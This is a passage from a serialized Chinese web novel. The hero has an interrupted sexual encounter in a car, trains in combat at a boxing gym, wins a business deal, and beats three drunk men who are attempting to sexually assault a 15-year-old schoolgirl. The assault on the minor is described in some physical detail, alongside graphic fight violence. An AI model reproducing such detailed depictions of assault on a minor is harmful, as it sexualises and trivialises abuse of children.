小雅没有坐在副驾驶,她直接跨过来,坐在了我的腿上。裙子太短,往上滑了一截。她的膝盖抵着座椅两侧,双手撑在我的肩膀上,居高临下地看着我。
这个角度,我根本管不住自己的眼,心脏狂跳。
“林远。”她轻声叫我的名字。
“嗯。”
“你知道我有多喜欢你吗?”
“不知道。”
“你不需要知道。”她低下头,吻我。
这一次比刚才更用力,不再是试探,是索取。她的嘴唇压着我的嘴唇,舌头撬开我的牙齿,像一条小蛇钻进来。她的手**我的头发里,轻轻抓着,像是怕我跑掉。
我的脑子开始发晕,不是因为缺氧,是因为——疼。
今天挨了不少揍,刚开始是因为太激动,没怎么感觉出来。
脸上的伤被碰到,嘴角的伤口裂开了,一股铁锈味在两个人的嘴里弥漫开来。但奇怪的是,那种疼痛没有让我清醒,反而像是往火里浇了一桶油。痛感和快感搅在一起,烧得人失去了理智。
我伸手揽住她的腰,用力把她往怀里按。她闷哼了一声,整个人贴上来,胸口压着我的胸口,隔着薄薄的布料,能感觉到她的心跳——快得不像话。
她的手从我的头发滑下来,解开了自己针织衫的扣子。针织衫滑落在座椅上,露出里面那件白色的吊带。吊带很薄,能看到底下若隐若现的轮廓。
我的呼吸变得粗重起来。
“小雅姐——”
“别叫我姐。”她打断我,嘴唇贴着我的耳朵,声音低得像是在呢喃,“叫我小雅。”
“小雅。”
她笑了,那笑容里有满足、有心酸。
她抓住我的手,放在她的腰上。皮肤很滑,很烫。我的手指顺着她的腰线往上移,滑过肋骨,滑过吊带的边缘。
她的身体猛地绷紧了,头往后仰,露出修长的脖颈,喉咙里发出一声压抑的低吼。
“林远……”她叫我的名字,声音在发抖。
我的手停住了。
“怎么了?”她低下头,看着我,眼睛里全是水光。
我看着她,沉默了两秒。
身上的伤还在疼——脸疼、肋骨疼、后背疼,每一处都在提醒我今晚发生了什么。
但那种疼痛没有让我退缩,反而让我更清楚地知道——这一刻是真的。她在我怀里,是热的,是真的。
“我不后悔!”她的眼眶红了。
她低下头,吻我。这一次很慢,像是在品尝什么珍贵的东西。她的手从我的胸口往下滑,滑过皮带扣,停在那里,手指勾住了皮带的边缘。
我呼吸急促,忍不住的心跳加快。理智让我想停下来,可这一刻理智输了,输得很彻底。
她抬起头,看着我的眼睛,手指慢慢地解开了皮带扣。
然后我的手机响了,不是消息,是电话,是苏婉的电话。
他身体一个哆嗦,瞬间清醒!
小雅的手停住了,她看着屏幕上的名字,脸上的表情从迷离变成了失落。
“你接吧。”她说,声音很轻。
她从我的腿上下来,坐到副驾驶,转过身,背对着
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我。她捡起掉在脚垫上的针织衫,抱在胸前,肩膀在微微发抖。
我深吸了一口气,拿起手机。
“嫂子。”
“小远,你那边怎么样了?”苏婉的声音有些沙哑,像是刚睡醒,又像是刚哭过,“我一直没睡,在等你的消息。你没事吧?”
“没事。”我说,“小雅的事处理好了,我在回滨海的路上。”
“你声音怎么怪怪的?”苏婉问道。
呃……女人的第六感太可怕了。
“没事。就是有点累。”我清了清嗓子说道。
“那你开车小心。到了给我发消息。”
“好。”
我挂了电话,看着屏幕慢慢暗下去。
车里安静得能听到远处草丛里虫子的叫声,能听到两个人的呼吸声——我的还没平复,她的在刻意压抑。
“小雅。”我叫她,没有加“姐”。
她没有回头。
“你心里那个人,是不是她?”
我没有回答。
她转过头,看着我。她的眼睛红红的,但没有哭。她就那么看着我,等一个答案。
“是她。”我说。
她的嘴唇动了一下,像是想说什么,但没说出来。
“我就知道。”她低下头,“从你第一天来红颜,我就看出来了。你看她的眼神,和看别人不一样。”
她穿好针织衫,扣好扣子,转过身,面对着我。
“林远,我不怪你。”
“小雅——”
“真的。”她打断我,笑了,“你对我够好了。为了我,被人打成这样。我要是还怪你,那我还是人吗?”
她伸出手,帮我擦了擦嘴角还在渗的血,动作很轻,
“但是我问你一件事。”
“什么事?”
“如果刚才那个电话没有响,”她看着我的眼睛,“你会不会——”
她没有说完,但我知道她在问什么。
我看着她的眼睛,沉默了几秒。
“会。”
她愣了一下,然后笑了。这一次的笑容,比刚才真了一些,也苦涩了一些。
“那就够了。”她说,“至少你不是因为不要我,才停下的。”
第33章 老刀拳馆
她收回手,靠回座椅上,看着车窗外的夜色。
“林远,你以后还会来看我吗?”
“会。”
“真的?”
“真的。”
她笑了。
“那你答应我一件事。”
“什么事?”
“下次来的时候,别被人打了。”她看着我脸上的伤,“你这个样子,我看着心疼。”
我愣了一下,然后笑了。嘴角的伤口被扯动,疼得我龇了咧嘴。
“行。我尽量。”
她推开车门,下了车。
“走吧。”她站在车外,弯下腰看着我,“太晚了,你还要开车回滨海。”
“小雅。”
“嗯?”
“你妈那边,钱够吗?”
她沉默了一下。
“不够。”
我从口袋里掏出秦红给的那个信封,塞到她手里。
“这有五千块。你先拿着。”
“林远,我不能要——”
“不是给你的。”我打断她,“是给**。等她病好了,你挣钱了再还我。”
她看着手里的信封,眼眶又红了。
“林远,你这个人——”
“我知道,太老实了,老实到让人心疼。”
她笑了,眼泪掉下来,但她在笑。
“行了,我走了。”我发动车子,浑身疼得像散了架,“你照顾好你妈,李曼那边,不会再找你麻烦了。”
“你怎么知道?”
“因为她找也没用。”
我挂上倒挡,车子往后倒。
“林远!”她在身后喊。
我停下来,摇下车窗。
“谢谢你!”
看着后视镜里的她,我挥了挥手,踩下油门。
车子驶出停车场,拐上公路。后视镜里,她的影子越来越小。
车子驶上高速,我的脸很疼,肋骨也疼,握着方向盘的手还在发抖。但心里反而踏实了——小雅安全了,她妈的事也有了着落,李曼那边暂时不会动手。
手机震了,苏婉的消息:“小远,到了吗?”
“还在路上,快了。”
“你脸上有伤吗?”
我愣了一下。她怎么知道?
“没有。”
“骗人,你每次骗我,都只说两个字。”
我看着屏幕,不知道该回什么。
“小远,不管发生什么,你记住——我在这里。等你。”
我盯着那两个字——“等你”——看了很久。
然后我打字:“嫂子,谢谢你。”
回到滨海的那个凌晨,我没有直接回宿舍。
我把车停在美容院后面的巷子里,熄了火,坐在驾驶座上,盯着挡风玻璃外的黑暗发了很久的呆。
但有一件事,我想得很清楚,我太弱了。
不是因为没钱。不是因为没背景。是因为——我打不过那两个混混。如果当时我能还手,哪怕只是自保,小雅不会那么害怕,李曼不会那么嚣张。
一个连自己都保护不了的人,凭什么保护别人?
我低头看了看自己的手,指节上还有擦伤,虎口处磨出了茧子,但这双手只会搬箱子、敲键盘、端酒杯,它们不会打架。
第二天一早,我去找秦红。
她正在办公室里喝咖啡,看到我进来,抬了抬眼皮。“伤还没好就到处跑?”
“红姐,我想学格斗。”
她的手顿了一下,放下咖啡杯,看着我。“怎么突然想学这个?”
“因为我不想再被人打了。”我在她对面坐下,“李曼那两个手下,我连还手的机会都没有。如果下次再遇到这种情况,我不能还是这样。”
秦红沉默了一会儿,从手机里翻出一张照片,推到我面前。
照片上是一个男人,三十出头,皮肤黝黑,身材精瘦但线条分明,眼神像刀一样锐利。他穿着一件旧军绿色的T恤,站在一个格斗笼子里,手上缠着绷带。
“他叫老刀。”秦红说,“在边境呆过,打过黑拳,教过保镖,现在在滨海开一家小拳馆。”
“他能教我吗?”
“能。但他脾气怪,收徒看眼缘。看不上的,给多少钱都不教。”
“红姐,你怎么认识他的?”
秦红的眼神变了一下,像是想起了什么不太愉快的事。“他救过我的命,几年前我前夫找人堵我。老刀路过,一个人打趴了五个。”
“一个人打五个?”
“嗯。”秦红端起咖啡抿了一口,“所以我活到了现在。”
下午,我去了老刀的拳馆。
拳馆在滨海老城区的一条巷子里,门面不大,招牌褪了色,写着“刀锋格斗”四个字。推门进去,空气里弥漫着汗味和橡胶味。
几个光着膀子的男人在擂台上对
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练,拳头打在护具上发出沉闷的声响。
老刀坐在角落的一张旧沙发上,手里拿着一卷绷带,正在缠手指。他比照片上看起来更精瘦,但那种瘦不是虚弱,是那种——每一寸肌肉都是为了实用而长的,没有一块是多余的。
“你就是秦红说的那个小子?”他头都没抬。
“是!刀哥好!”
“别叫我刀哥。”他缠好一只手,开始缠另一只,“叫老刀。”
“老刀。”
他抬起头,看了我一眼。那种眼神让人后背发凉——不是凶狠,是评估。像是一个屠夫在看一头猪,能出多少肉、值多少钱。
“站起来,走两步。”
我站起来,在拳馆里走了两个来回。
“把衣服脱了。”
“啊?”
“听不懂人话?把上衣脱了。”
我脱掉T恤,赤裸着上身站在他面前。身上的淤青还没完全消,肋骨处的青紫在灯光下很明显。
老刀站起来,走到我面前。他比我矮半个头,但站在他面前,我觉得自己像个小鸡仔。他伸手捏了捏我的肩膀,又捏了捏我的胳膊,然后在我胸口捶了一拳。不重,但震得我退了一步。
“骨架不错。”他说,语气还是那种不咸不淡的调子,“在乡下干过活?”
“干过,插秧、搬砖、扛粮食。”
“怪不得。”他绕到我身后,捏了捏我的肩胛骨,“骨头硬,底子有。虽然瘦,但力气不小。练好了,能打。”
“真的?”
“真的。”他走回沙发坐下,“但你得吃苦。我这儿不是健身房,不搞那些花架子。我教的东西,只有一个目的——打倒对方。”
“我不怕吃苦。”
“不怕没用。得扛得住。”他看着我,“秦红说你是她的人,让我照顾你。但我丑话说前头——我这儿,没有照顾。练不好,滚蛋。吃不了苦,滚蛋。偷懒耍滑,滚蛋。”
“好。”
“明天早上五点,来这儿。迟到一分钟,就不用来了。”
“好。”
我穿上T恤,转身要走。
“小子。”他在身后叫我。
我停下来。
“你脸上的伤,谁打的?”
“李曼的人。”
“李曼是谁?”
“一个对手。”
他点了点头,没再问了。
第34章 苦练体能
从拳馆出来,我直接去了店里。
秦红还在办公室,面前摊着一堆文件。看到我进来,她指了指对面的椅子。“老刀怎么说?”
“让我明天早上五点去。”
“五点?”她皱了皱眉:“那你这作息得大调。”
“没事,练完了正好来上班。”
秦红看了我一眼,从抽屉里拿出一份文件,放在桌上。
“这是你的新合同。”
我翻开一看,眼睛一下子瞪大了。
月薪:一万元整。
“红姐,这——”
“别激动。”她打断我,“不是白给的,从下个月开始,红颜的VIP客户维护全部由你负责。新增业绩的百分之五,算你的提成。”
“可是我现在月薪才五千——”
“所以你好好干。”她靠在椅背上,“林远,我看人很准,你是那种越压越强的人。给你五千,你就干五千的活。给你一万,你就干一万的活。我想看看,你到底能干到什么程度。”
我拿起笔,在合同上签了名字。
“还有一件事。”秦红从包里拿出一张名片,推到我面前,“周太下午给我打了电话,说你的方案她看过了,整体思路没问题,但有几个细节需要改。她让你下周去她办公室,当面聊。”
“好。”
“另外,”秦红顿了顿,“沈若溪那边,下个月有个行业论坛。周太说她会去,你正好可以当面谈谈代理权的事。”
我点了点头,把名片收好。
从那天起,我的生活变得像上了发条。
早上四点五十,天还没亮,我就出现在拳馆。老刀的教学方法和我想的不一样——他没有一开始就教我怎么**,而是让我做最基础的东西:跳绳、俯卧撑、引体向上、深蹲。一练就是两个小时,中间不休息。
“你以为格斗是花拳绣腿?”他坐在沙发上,手里夹着一支没点的烟,“格斗的基础是体能。你没有体能,学再多的技巧,打两分钟就没力气了。到时候不是你在**,是人在打你。”
我咬着牙,一个一个地做。俯卧撑从二十个做到五十个,从五十个做到一百个。引体向上从三个做到十个,从十个做到二十个。手上的茧子磨破了一层又一层,掌心全是血泡。老刀看了一眼,扔给我一卷绷带。
“缠上。继续。”
跳绳的时候,小腿酸得像要断了。但我没停。老刀说过,停了就是放弃了。我不能放弃。
练到七点,我冲个澡,换身干净衣服,赶到店里上班。
先盘点库房,再整理前一天的营业数据,然后开始处理VIP客户的日常维护。打电话、发微信、约时间、做回访——以前这些事是秦红亲自做的,现在全交给了我。
下午,如果没什么急事,我就对着店里的沙袋练半小时。老刀教的基本动作——直拳、摆拳、勾拳,一遍一遍地练,直到肌肉记住每一个角度。
晚上,回到宿舍,打开电脑,做沈若溪要的方案。澜曦的代理权是红颜翻盘的关键,我不能输。
赵磊有时候会过来,帮我处理数据。他看到我手上的茧子和脸上的淤青,摇了摇头。“林远,你这是在练拳还是在自残?”
“在练拳。”
“练拳干什么?你不是在美容院上班吗?”
“美容院也需要保护自己。”
他看了我一眼,没再问了。
一周后,老刀终于开始教我基本的拳法和腿法。
“你力气大,是你的优势。”他站在我面前,示范直拳的动作,“但光有力气没用,得会用。拳头不是抡出去的,是打出去的。腰要转,肩要送,力从地起,经过腰,传到肩,再到拳。”
他一拳打在沙袋上,沙袋猛地向后荡去,发出沉闷的巨响。
我学着他的样子,一拳打在沙袋上。沙袋晃了一下。
“太慢了,爆发力不够!”老刀摇头,“再来。”
一拳、两拳、三拳……
“太慢了。”
十拳、二十拳、五十拳……
手腕疼得像要断了,指节的皮磨得发红,但我不停。
“停。”老刀走过来,看了看我的拳头,“还行。明天继续。”
他转身走回沙发坐下,难得地多说了一句:“你是我这几年见过的底子最好的新人,骨头硬,力气大,最重要的是——不
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怕疼。”
“不怕疼?”
“对,很多人学格斗,第一关过不去的就是怕疼。被打一下就缩了,你不缩。”他看着我,“你这种人,要么**,要么把对手打死。”
我愣了一下。“老刀,你这算是夸我吗?”
他点了那支一直没点的烟,吸了一口,“算是吧。”
那天晚上,苏婉打来电话。
“小远,红姐说你去找了一个格斗教练?”
“嗯,退役特种兵。”
“你为什么要学这个?”
“因为我不想再被人打了。”
她沉默了很久。
“小远,你答应我一件事。”
“什么事?”
“别受伤。”
“我尽量。”
“不是尽量,是一定。”她的声音很轻,“你身上的伤还没好利索,又去练这个……你让我怎么放心?”
“嫂子,我没事。”
“你有事。”她顿了顿,“你每次说没事,就是有事。”
我没有接话。
“小远。”
“嗯。”
“等我离婚的事办完了,我去看你。到时候,你要是身上还有新伤,我就不理你了。”
我愣了一下,然后笑了。
“好。那我争取不受伤。”
“不是争取,是一定。”
“一定。”
她挂了电话,我站在阳台上,看着窗外的夜色。
手机又震了。秦红的消息:“老刀说你底子不错,有潜力。”
“他真这么说的?”
“嗯,他说你是他这几年见过的最有潜力的新人。”
我看着屏幕,攥紧了手机。
“红姐,谢谢你。”
“别谢我。你要谢就谢自己。老刀那个人,从来不夸人。他能夸你,说明你真的行。”
第二周,周太的秘书打来电话,说周太让我去一趟。
这一次,我没有穿西装,穿了一件干净的白衬衫。秦红说要给我做新的,我说不用。白衬衫挺好,简单,不装。
周太的办公室还是老样子。她坐在巨大的办公桌后面,面前摆着两杯茶。
“坐。”她指了指对面的椅子。
我坐下。
第35章 拿到周太一票
“小林,你的方案我看了第二遍。”她端起茶杯抿了一口,“有几个问题,我想当面问你。”
“周太请说。”
“你说红颜有滨海市最优质的高端客户资源,你怎么证明?”
“红颜的VIP客户平均月消费八千元,行业平均水平是两千五。这是数据。”我从包里拿出一份报表,放在桌上,“红颜的客户留存率是百分之七十八,行业平均水平是百分之四十五。这也是数据。”
周太拿起报表,翻了几页,放下。
“数据可以造假。”
“周太可以去查。红颜的系统是开放的,随时欢迎审计。”
她看着我,眼神里多了一点什么。
“第二个问题。你说红颜需要一个从‘美容院’升级为‘品牌’的机会。这个机会,凭什么给红颜,不给别人?”
“因为红颜有一个别人没有的优势。”
“什么优势?”
“我。”
周太愣了一下,然后笑了。
“小林,你很自信。”
“不是自信。是事实。”我看着她的眼睛,“澜曦要的是执行力。方案写得再好,执行不了就是废纸。我能执行。我懂数据、懂客户、懂产品。”
“我是从库房搬箱子开始干的,澜曦的每一款产品我都亲手摸过、用过。我知道它们好在哪里,也知道怎么让客户相信它们好。”
办公室里安静了几秒,周太端起茶杯,抿了一口,放下。
“小林,你这个人,有点意思。”
“周太过奖了。”
“不是过奖。”她靠在椅背上,目光锐利地盯着我,“是实话,滨海市美容行业,我见过的人太多了。有本事的、没本事的、有背景的、没背景的——什么人都见过。像你这样的,不多。”
她顿了顿。
“澜曦的代理权,我投红颜一票。”
我的心猛地跳了一下。
“周太——”
“别高兴太早。”她打断我,“我投红颜一票,不代表红颜一定能拿到代理权。沈若溪那边还有别的考虑。但至少——你有了一个机会。”
她从抽屉里拿出一张名片,推到我面前。
“这是沈若溪的私人电话,下个月的行业论坛沈若溪会去,你去找她,当面聊。”
我拿起那张名片,上面只印着一个名字和一串号码。
“谢谢周太。”
“别谢我。”她端起茶杯,“我是商人。我帮你,是因为你有用。”
从周太办公室出来,我在写字楼门口站了一会儿。
我低头看了看手里的名片——沈若溪的私人电话。周太说“我投红颜一票”,不是因为她欣赏我,是因为她看到了红颜的价值。或者说,看到了我的价值。
这就是生意场。没有人会因为同情你而帮你。他们帮你,是因为你有用。
我攥紧了名片,放进口袋里。
手机震了,秦红的消息:“周太怎么说?”
“她说投红颜一票。”
电话那头沉默了几秒,然后秦红发了一条语音。
我点开,她的声音有些哑:“林远,你知道我在滨海混了多少年,才让周太投我一票吗?”
“不知道。”
“十年。”
我攥紧了手机。
“你一个月就做到了。”她说:“我果然没看错人。”
晚上,秦红请我吃火锅。
不是什么高档餐厅,就是美容院旁边的一家老字号。锅底是清汤的,羊肉是现切的,蘸料是自己调的。秦红坐在我对面,穿着一件黑色卫衣,头发扎成马尾,看起来比平时年轻了好几岁。
“你手上的茧子又厚了一层。”她看了一眼我的手。
“嗯,练拳练的。”
“老刀说你进步很快。”
“他说的?”
“嗯。他说你下盘稳,出拳有力量,就是还不会躲。”秦红夹了一筷子羊肉放到我碗里,“多吃点。练拳消耗大。”
“红姐,你什么时候变得这么啰嗦了?”
“我一直这么啰嗦。”她端起酒杯,“来,喝一杯。庆祝你拿下周太。”
我也端起酒杯,和她碰了一下。
火锅的热气在两个人之间升腾,模糊了彼此的轮廓。秦红的脸在雾气里若隐若现,有一瞬间,我忽然觉得她老了。不是那种皮相的老,是眼神里的老,那种看透了太多东西之后的疲惫。
“红姐。”我叫她。
“嗯?”
“你为什么对我这么好?”
她愣了一下,然后笑了。
“因为你对我也好。”
“我没做什么——”
“你做了。”她打断我,“你拒绝了孙曼丽三次。你知道这意味着什么吗?”
“不知道。”
“意味着你是个有底线的人。”她端起酒杯,抿了一口:“在这个圈子里,有底线的人,不多了。”
她没有再说下去,我也没有再问。其实我很清楚,一个人光有能力没用,要有人赏识才行,说白了就是要有人脉。
之前在省城那个单位,跑业务做表全都是我干,还时不时被女领导指挥端茶倒水、搬花盆。可是没人重视,照样提拔不起来。
我在红颜能够得到发挥的机会,是因为嫂子跟秦红的关系好,她才给我这个机会。
火锅咕嘟咕嘟地冒着泡,羊肉在汤里翻滚。窗外的滨海市灯火辉煌,人来人往。
回到宿舍,已经快十一点了。
我洗了澡,坐在床边。手机震了,苏婉的消息。
“小远,今天去找周太了?”
“嗯。刚回来。”
“顺利吗?”
“顺利,她说投红颜一票。”
“太好了!”她发了一个笑脸,“我就知道你能行。”
“嫂子。”
“嗯?”
“你离婚的事,律师联系了吗?”
“联系了,红姐给的那个律师,姓王,人挺好的。他说我的案子有把握,林强那边已经松口了。”
“真的?”
“真的,他说下个月就能办完。”
我攥紧了手机。
“嫂子,到时候我去接你。”
“好。”
“你上次说,等离婚办完了,有话跟我说。”
她沉默了一会儿。
“嗯。”
“什么话?”
“到时候你就知道了。”
我看着屏幕,心跳得很快。干脆戴上手套,对着墙砸了几下。感觉没有想象中疼,可能是因为最近沙袋打多了茧子变厚了。
第36章 救个女学生
我最近练拳有点儿上瘾,可能是浑身躁动的荷尔蒙无处发泄,全都发泄在了沙袋上。
只要工作不忙的时候,我干脆早晨去一趟拳馆,晚上再去一趟。
老刀今天教了新的东西——防身术。不是花架子,是实用的、一招制敌的技巧。“你不是要打比赛,”他说,“你是要保护自己。所以我不教你花哨的,只教你最管用的。”
练了两个小时,浑身是汗,但心里畅快。拳头的力量在增长,身体的反应在变快,连带着人的底气也足了。走在路上,背挺得比以前直。
从老刀的拳馆出来,已经是晚上九点多了。
拳馆在老城区的一条巷子里,出来之后要走一段没有路灯的路。路面坑坑洼洼的,两边的墙爬满了藤蔓,夜风一吹,沙沙作响。我掏出手机,打开手电筒,低着头往前走。
走到巷口的时候,我听到了一阵猥琐的声音。
“小妹妹,别跑啊……”
“把她嘴捂上!别让她喊!”
“校服扯掉!妈的,这校服裤子真碍事……”
声音从巷口右边的一条岔路传过来,浑浊的、带着酒气的、充满恶意的。手电筒的光照过去,我看到了让我血往头顶涌的一幕。
三个男人。一个胖子,脖子上挂着金链子,脸红得像猪肝。一个瘦高个,留着黄毛,嘴里叼着烟。还有一个矮壮的,光头,胳膊上纹着一条龙。
他们把一个小女孩逼到了墙角。
女孩穿着一件校服外套,但外套已经被扯掉了,扔在地上。她的头发被揪得乱七八糟,脸上有一个清晰的巴掌印,嘴角渗着血。
她缩在墙角,双手抱着自己的书包挡在胸前,眼睛里全是恐惧和眼泪。校服里面的白T恤被扯破了一个口子,露出一小截肩膀。
“别、别过来……”她的声音在发抖,像一只被逼到绝路的小动物。
“别怕嘛,哥哥们就是跟你玩玩。”胖子伸手去抓她的书包,用力一拽,书包带子断了,女孩整个人往前踉跄了一步,摔在地上。
“把她的嘴捂上,别让人听见。”光头对黄毛说。
黄毛扔掉嘴里的烟,蹲下来,一只手捂住女孩的嘴,另一只手去扯她的T恤。
“唔——唔——”女孩拼命挣扎,脚在地上乱踢,但她的力气太小了,根本挣不开。
胖子和光头在旁边笑,我的血一下子涌上了头顶。
那一刻我脑子里是冷的,冷得像冰。老刀说过,真正的格斗不是靠愤怒,是靠冷静。愤怒会让你失去判断,冷静才能让你活下来。
但我身体里的每一个细胞都在喊:动手。
“放开她。”
我的声音不大,但在那条安静的巷子里格外刺耳,三个人同时转过头看着我。
胖子上下打量了我一眼,嘴角一撇。“你他妈谁啊?少管闲事。”
“我说,放开她。”我又说了一遍,声音比刚才更冷。
“哟呵,英雄救美?”光头笑了,站起来,朝我走了两步。他比我矮,但壮得像一头牛,脖子上的肌肉鼓鼓的,“一个人?打我们三个?”
“我再给你一次机会。”我看着他的眼睛,“放开她,滚。不然我让你们爬着出去。”
光头愣了一下,然后哈哈大笑。他回头看了看胖子和黄毛,三个人都笑了。
“兄弟们,有人想找死。怎么办?”
“打!”胖子撸起袖子就冲过来了。
胖子先动手,一拳朝我脸上招呼过来,带着风声。
我侧身一让,拳头擦着我的耳朵过去。胖子的重心往前一栽,我没等他站稳,右手抓住他的手腕,左手按住他的肩膀,膝盖猛地顶进了他的肚子。
“呃——”
胖子闷哼一声,整个人像虾米一样弯了下去。我没停,膝盖顶完,顺势一肘砸在他后背上,他直接趴在了地上,脸磕在水泥地上,牙齿磕掉了一颗,血和唾沫一起喷出来。
黄毛看到胖子倒了,骂了一声,从腰里掏出一把折叠刀,朝我捅过来。
老刀教过怎么对付刀。
“空手夺刀是找死。”他说过要用巧劲儿。
黄毛的刀捅过来,我侧身避开,左手抓住他持刀的手腕,往外一翻。他的腕骨被我拧得咯咯响,刀掉在地上。我没给他反应的时间,右拳直接砸在他的鼻梁上。
“咔嚓”一声,是鼻梁骨断裂的声音。
黄毛惨叫一声,鼻血直接喷出来,捂着鼻子蹲在地上,眼泪和血混在一起,糊了一脸。
光头看到两个同伴都倒了,脸色变了。他没跑,从地上捡起一块砖头,朝我冲过来。
砖头劈头盖脸地砸下来,我抬手挡住。砖头砸在小臂上,疼得我龇了咧嘴,但骨头没断。老刀让我每天用木棍敲自己的小臂,说是“排打”,练到后面,骨头会变硬,不怕打。虽然练的时间不算长,但已经有效果了。
砖头被我的手臂弹开,光头愣了一下。我没给他第二次机会,一拳打在他太阳穴上。
老刀说,太阳穴是人体的弱点,打这里,轻则晕,重则死。
我没想让他死,所以收了力。但那一拳还是够重的。光头的眼睛一下子涣散了,身体晃了晃,像一堵墙一样倒下去,后脑勺磕在墙角的台阶上,发出一声闷响。
雾草!看到他脑袋磕那一下吓我一跳,真怕他磕死。我才刚涨了工资,可不想蹲大牢啊。
胖子趴在地上,嘴里全是血,爬不起来。黄毛捂着鼻子,血从指缝里往外渗,蹲在墙根,呜呜地哭。光头倒在墙角,一动不动,不知道是晕了还是怎么。
我站在三个人中间,拳头上的皮磨破了,血顺着指缝往下滴。小臂被砖头砸过的地方肿了起来,青紫一片。但我没感觉到疼。
我转过身,看着墙角的那个女孩。
她的校服外套被扔在地上,T恤被扯破了一个口子,头发乱七八糟,脸上有巴掌印,嘴角有血。她缩在墙角,双手抱着自己,浑身发抖,像一只被雨淋湿的、无家可归的小猫。
“没事了。”我说。声音有些哑,像是从嗓子眼里挤出来的。
她抬起头,看着我。眼睛里全是泪,嘴唇在发抖,一句话都说不出来。
我走过去,蹲下来,把自己的外套脱下来,披在她身上。外套很大,把她整个人都裹住了。
“别怕,他们打不过我。”
她的眼泪终于掉了下来,无声地顺着脸颊往下淌。
“谢、谢谢你……”她的声音小得几乎听不见。
“你叫什么名字?”
“小鹿。”
“小鹿,你家在哪?我送你回去。”
她犹豫了一下,看了看四周黑漆漆的巷子,又看了看倒在地上的三个男人,点了点头。
第37章 单亲妈妈
我扶着她站起来,她的腿在发抖,站不稳,整个人靠在我身上。
“别怕。我扶着你。”
我捡起她的书包,书包带子断了,但还能用。我把书包挂在自己肩上,一手扶着她,一手拿着手机照亮,走出了那条巷子。
身后,胖子还在骂骂咧咧,但是不敢追上来。如果不是为了照顾小鹿,我真想回去撕烂那个胖子的嘴。
走出巷子,到了大路上,路灯亮起来了。
小鹿的腿不抖了,但她的手还在抖。她紧紧攥着我外套的袖子,像是怕我跑掉。
“你脸上疼吗?”我问。
“疼。”她的声音很小。
“谁打的?”
“那个胖子。”她低下头,“他扇了我一巴掌,然后扯我衣服……”
她没有说下去,她的身体又开始发抖了。
“以后不会再有人打你了。”我说。
“你怎么知道?”
“因为我会打回去。”
她抬起头,看着我。路灯的光照在她脸上,她的眼睛很亮,亮得像是有星星在里面。
“哥哥,你是干什么的?”
“我在美容院上班。”
“美容院?”她歪着头,“你是美容师?”
“不是,我是运营总监。”
“运营总监?”她念了一遍,好像不太懂,“听起来好厉害。”
“不厉害,就是干活的。”
她不说话了,但攥着我袖子的手没有松开。
走到翡翠湾门口的时候,门口的保安看到小鹿的样子,脸色一下子变了。
“小鹿?你怎么了?脸上怎么有伤?”
“有人欺负她。”我说:“已经处理了。”
保安赶紧拿起对讲机,说了几句什么。过了一会儿,一个女人从小区里面快步走了出来。
她穿着一件米白色的家居服,头发散着,脚上踩着一双拖鞋。路灯的光照在她脸上,我这才看清她的样子——三十出头的年纪,皮肤白净,五官精致,眉眼之间有一种温柔又倔强的气质。她看起来很年轻,不像有一个十五岁女儿的女人。
“小鹿!”她跑过来,一把抱住女儿,声音在发抖,“你怎么了?脸上怎么有伤?谁打的?”
“妈,我没事。”小鹿的声音闷闷的,埋在她怀里。
女人松开女儿,上下打量了一遍。看到小鹿脸上红肿的巴掌印和嘴角的伤口,她的眼眶一下子红了。然后她的目光落在我身上。
“你是——”
“妈,是他救了我。”小鹿拉着我的手,把我往前拽了拽,“有人欺负我,是哥哥把那些人打跑的。”
女人的脸色变了。“有人欺负你?什么人?报警了没有?”
“没来得及报警。”我说,“三个男人喝了酒,在巷子里堵住了小鹿,我把他们打跑了。”
“你一个人打三个?”
“嗯。”
女人看着我,眼神里的东西很复杂。有感激,有后怕,还有一种说不清的心疼。
“谢谢你。”她的声音有些哑,“真的太谢谢你了。”
“不客气。”我说,“举手之劳。”
“你受伤了。”她看着我的手,指节上的血还没干,小臂肿了一大块,“进来,我给你处理一下。”
“不用了,小伤——”
“不行。”她打断我,语气突然变得很坚决,“你为了救我女儿受了伤,我不能让你就这么走了。”
小鹿也拉着我的袖子。“哥哥,进来吧。我妈可会处理伤了。”
我看了看小鹿的眼睛,又看了看她妈妈的眼睛。
“好。那就打扰了。”
小鹿家的房子在翡翠湾的最里面,是一栋复式。装修很讲究,但不是那种暴发户式的金碧辉煌,是那种——很舒服的、让人想多待一会儿的温馨。
“坐。”女人指了指沙发,转身去拿急救箱。
小鹿在我旁边坐下,把身上的外套脱下来,叠好,放在茶几上。“哥哥,你的外套——”
“你先披着。别着凉。”
她点了点头,又把外套披上了。
女人拿着急救箱走过来,蹲在我面前,打开箱子。碘伏、棉签、纱布、创可贴——摆了一桌子。
“手伸出来。”
我把手伸出去。她拿着棉签蘸了碘伏,轻轻地擦我指节上的伤口。碘伏碰到破皮的地方,疼得我嘶了一声。
“疼吗?”
“不疼。”
“骗人。”她的声音很轻,手上的动作却更轻了,“你指节上的皮都磨破了,小臂也肿了——被打的?”
“砖头砸的。”
“砖头?”她的眉头皱了起来,“他们用砖头打你?”
“没事,骨头没断。”
她没说话,但手上的动作更轻了。她给我贴上创可贴,又用绷带把小臂缠了一圈。
“好了。”她收拾好急救箱,站起来,“你还没吃晚饭吧?”
“吃了。”
“吃什么了?”
“泡面。”
她看了我一眼,那种眼神里有心疼,也有无奈。
“等着。我给你做点吃的。”
“不用麻烦了——”
“不麻烦。”她打断我,转身往厨房走,“你救了小鹿,我连一顿饭都不请,心里过意不去。”
小鹿在旁边拉了拉我的袖子。“哥哥,你就让我妈做吧,她不做饭心里难受。”
我看着小鹿,笑了。
菜端上来了,四菜一汤,红烧排骨、清炒时蔬、西红柿炒蛋、凉拌黄瓜,还有一碗紫菜蛋花汤。不是什么山珍海味,但每一样都做得用心。
“哥哥,多吃点。”小鹿给我夹了一块排骨,“你打架辛苦了。”
“小鹿。”女人有些不好意思地看了女儿一眼,“别乱说话。”
“我没乱说。”小鹿理直气壮,“哥哥一个人打三个,把他们全打趴下了,那个胖子还被哥哥打掉了一颗牙——”
“小鹿!”女人的声音提高了半度,但嘴角在微微翘着。
我笑了。“没事。她说的是真的。”
女人看着我,摇了摇头,端起汤碗喝了一口。
“林先生,你刚才说你在美容院工作?”
“嗯。红颜美容,在市中心。”
“红颜?”她愣了一下,“秦红的那家?”
“你认识秦总?”
“不算认识。听说过。”她放下筷子,“滨海市的美容行业,秦红的名气很大。我有个朋友在她那儿办卡,一直推荐我去,但我太忙了,没时间。”
“你是做什么工作的?”
“我自己开了个小公司。”她笑了笑,“做电商的,卖一些护肤品和日用品。”
“那你和美容行业也算是同行了。”
“算是吧。”她又笑了笑。
